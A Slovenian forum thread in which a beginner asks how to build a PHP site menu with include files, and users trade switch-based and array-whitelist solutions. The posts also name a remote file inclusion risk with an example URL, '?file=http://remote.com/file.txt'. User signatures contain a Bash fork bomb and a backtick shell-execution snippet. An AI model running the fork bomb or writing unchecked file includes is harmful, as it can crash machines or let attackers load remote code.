» »

Osnovno php vprašanje

Osnovno php vprašanje

Preseren ::

Ok, glede na to, da ste pred časom spluvali moje strani narejene z frejmi sem ugotovil, da je pa res že skrajni čas, da se naučim vsaj osnov php-ja. Glede na to, da so strani, ki jih delam bolj kot ne statične (za vse dinamične si sposodim kako skripto) se zaenkrat učim le osnov php-ja. Torej ne veliko. To kar sprašujem potrebujem samo potrditev, ali je to to, kako stvar najenostavneje naredim

Prišel sem tako daleč, da imam index.php, ki includa header.php in meni.php ter nek centralni del.
nekoliko me bega kako naj naredim meni (skripte ki sem jih našel mi niso jasne, čeprav sem veliko delal z preurejanjem skript). Torej, a lahko naredim meni, ki bo klical vask php posebej, in v vsak ta php spet dodajam incudanje headerja in menija, ostalo pa pišem v html-ju?

Torej meni enostavno preko a href komande kliče php fajl, ki spet naloži celotno stran?

Če je komu jasno kaj sprašujem se veselim vaših odgovorov.

P.

Bob Rock ::

gre to, ja

(ce sem prav razumel...ampak mores met na vsaki strani includane header pa meni)
___________________________________________________
gance hale ale cuzamen

Backup22 ::

V glavnem fajlu lahko narediš switch statement in po case-ih določiš kaj se naj includa. V linku (v meniju) pa določiš kateri case naj link v meniju ima. Primer:

<?php

!@include ("phplib.php");

if(isset($_GET['id']))
{
	$id = $_GET['id'];
}
else if(isset($_POST['id']))
{
	$id = $_POST['id'];
	echo $id;
}
else
{
	$id =0;
}
	
switch ($id) {

        case 0:
	$file = "news/index.php";
	break;
	
	case 1:
	$file = "html/file1.html";
	break;
	
	case 2, case 3, case 4, ...
	
	default:
	$file ="news.php";
	break;
	
};
?>
//

sverde21 ::

@Backup22: upam da te bojo še dolgo reševali magic quotes :) , ker pomoje spodaj sledi include($file); in že imaš tukaj perfect RFI v stilu ?file=http://remote.com/file.txt :P
<?php echo `w`; ?>

Backup22 ::

Um, a lahko to malo razložiš, oziroma kaj misliš s tem?:8)
//

snow ::

svedre21
Zakaj bi rabu kakršnokoli backslashanje tu?

Tisti switch se vedno izvede in nastavi $file (look there is a default!), tako da tudi če bi bil register_globls na on nebi bilo problema.

Koda ki jo je napisal Backup22 je varna in odgovor na zastavljeno vprašanje.
Random mutation plus nonrandom cumulative natural selection - Richard Dawkins

Zgodovina sprememb…

  • spremenilo: snow ()

Preseren ::

No, zanekrat sem poskušal svojo idejo spravit v realnost, in stvar sedaj izgleda takole
www.ljudmila.org/debata/zip1/

Sicer stvar potrebuje še obdelave, ker vse tabele niso tam kjer bi morale biti, ampak to še pride v kratkem.

Backup22, glede na to, da je podstrani FUL, nevem če je ta tvoja ideja pametna. Ker potem bi moral imeti 70 case-ov v datoteki.

mte ::

Backup22, glede na to, da je podstrani FUL, nevem če je ta tvoja ideja pametna. Ker potem bi moral imeti 70 case-ov v datoteki.

Ja, lahko narediš zadevo bolj dinamično in s tem prevzameš ogromno tveganje da bo vsak mulc imel dejansko dostop do vsake datoteke ki se nahaja na serverju (tudi sistemskih). Tudi če server zaščitiš z drugimi metodami ostaja precej ranljiv na tak način. Če se ti to zdi bolj pametno...:\

sverde21 ::

@snow: se opravičujem mislil sem register globals :8)
<?php echo `w`; ?>

Preseren ::

mte....

če se ti da, zakaj pa lahko v mojem primeru dostopajo do vseh datotek, v omenjenem drugem primeru pa ne?

P.

mte ::

Preseren: kateri je "tvoj", kateri pa "drugi omenjeni" primer?

Preseren ::

mte
Ok, res sem bil malce nejasen...

"Moj" primer je, da enostavno v vsako datoteko includam header, meni in desno tabelo ter pač vpišem karkoli mora določena datoteka vsebovat.

Drugi omenjeni pa je to, kar je predlagal Backup22.

P.

mte ::

Preseren: aja tole si mislil.. Jaz sem imel v mislih nekaj drugega - razumel sem da bi ti rad tistih 70 case stavkov rad skrčil na kaj bolj dinamičnega (in bi vse strani bile vedno podobne "index.php?page=nekaj"). Tole je recimo nevarno.
Tvoj primer pa glede varnosti ni panike (ob predpostavki da so druge stvari prav narejene). Mogoče zna biti tečno če se naknadno odločiš za spremembo strukture strani (recimo da bi rad dodal še kakšen meni ali ga kam prestavil) - potem moraš to v vsaki od 70 datotek spremenit.
Predlagam da razmisliš o "template" datoteki - podobno kot header, meni, desna tabela, ... in potem v vsako datoteko includaš le template, ki vsebuje podatke o meniju, headerju ipd. Kako to v praksi izvest je več variant, odvisno je od precej stvari, tako da sem ti dal le idejo.

Preseren ::

Jah to je seveda res, da zna se stvar potem zavleči. Seveda sem v osnovi razmišljal, da bi stvar nareidl tako kot ti praviš, vendar mi nin uspelo še uotoviti, kako to narediti.
V osnovi pa je ql, CuteFTP ima funkcijo zamenjaj v vseh daottekah, tako da spreminjanje postavitve menija v 70 datotekah zaenkrat rešujem tako.
Bomo widli, ko bom napredoval se še javim.

R33D3M33R ::

Kaj pa če urlje do strani spraviš v en array, recimo

$url_array = array("bla.html","podstran/bla.html","itd");


in potem nastavljaš index.php?id=x, kjer je x številka ključa v arrayu (začne se seveda z 0).

v datoteki pa je:
$id = $_GET['id'];
if(array_key_exists($id,$url_array)) {
include($url_array[$id]);
}
else {
include("error.html");
}


To je pač moja ideja, preverjal je nisem. Mogoče je varneje, ker ne moreš includati nič drugega kot pa je v arrayu, mogoče pa je tudi manj dela. Lahko pa prikažeš tudi error document :)
Moja domača stran: http://andrej.mernik.eu
Na spletu že od junija 2002 ;)
:(){ :|:& };:


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

php vprašanje.

Oddelek: Programiranje
162222 (1466) fx
»

PHP include(); problem

Oddelek: Programiranje
10967 (756) DuleKrtola
»

PHP + MySQL excel export pomoč?

Oddelek: Izdelava spletišč
121473 (1320) sumoborac
»

Izdelava menija? (strani: 1 2 )

Oddelek: Izdelava spletišč
767148 (6155) Jackass
»

[php] Problem z dinamično stranjo

Oddelek: Izdelava spletišč
111533 (1378) Iskraman

Več podobnih tem